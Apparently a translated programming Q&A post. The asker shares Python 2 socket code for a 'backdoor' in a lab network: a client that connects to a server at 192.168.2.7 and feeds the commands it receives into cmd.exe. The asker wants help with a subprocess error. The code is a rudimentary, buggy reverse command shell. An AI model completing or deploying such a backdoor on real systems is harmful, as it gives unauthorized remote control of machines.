私はソケットと通信する2つのPythonファイルを持っています。stdin.writeに取得したデータを渡すと、エラー22の無効な引数が発生します。コード
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder
更新 OK基本的に、ネットワークラボ内のローカルホストで、システムにバックドアのようなものを作成したいと思います。これは教育目的です。私は2台のマシンを持っています。1)ubuntuを実行していて、サーバーにこのコードがあります:
import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1) #wait for client connection.
c, addr = s.accept() # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')
while True:
command_from_user = raw_input("Give your command: ") #read command from the user
if command_from_user == 'quit': break
c.send(command_from_user) #sending the command to client
c.close() # Close the connection
クライアント用に次のコードを用意します。
import socket
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024)
a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
while True:
data = s.recv(1024)
if (data == "") or (data=="quit"):
break
proc.stdin.write('%s\n' % data)
proc.stdin.flush()
remainder = proc.communicate()[0]
print remainder
stdoutput=proc.stdout.read() + proc.stderr.read()
s.close #closing the socket
エラーはクライアントファイルにあります
トレースバック(最後の最後の呼び出し):ファイル "ex1client2.py"、50行目、proc.stdin.write('%s \ n'%data)ValueError:閉じたファイルでのI/O操作
基本的に、サーバーからクライアントへのシリアルコマンドを実行し、サーバーに出力を戻したいと思います。最初のコマンドが実行され、2番目のコマンドがこのエラーメッセージを受け取ります。この解決策に私を導いた主な問題は、ディレクトリコマンドを変更することです。CDの「パス」を実行しても変更されません。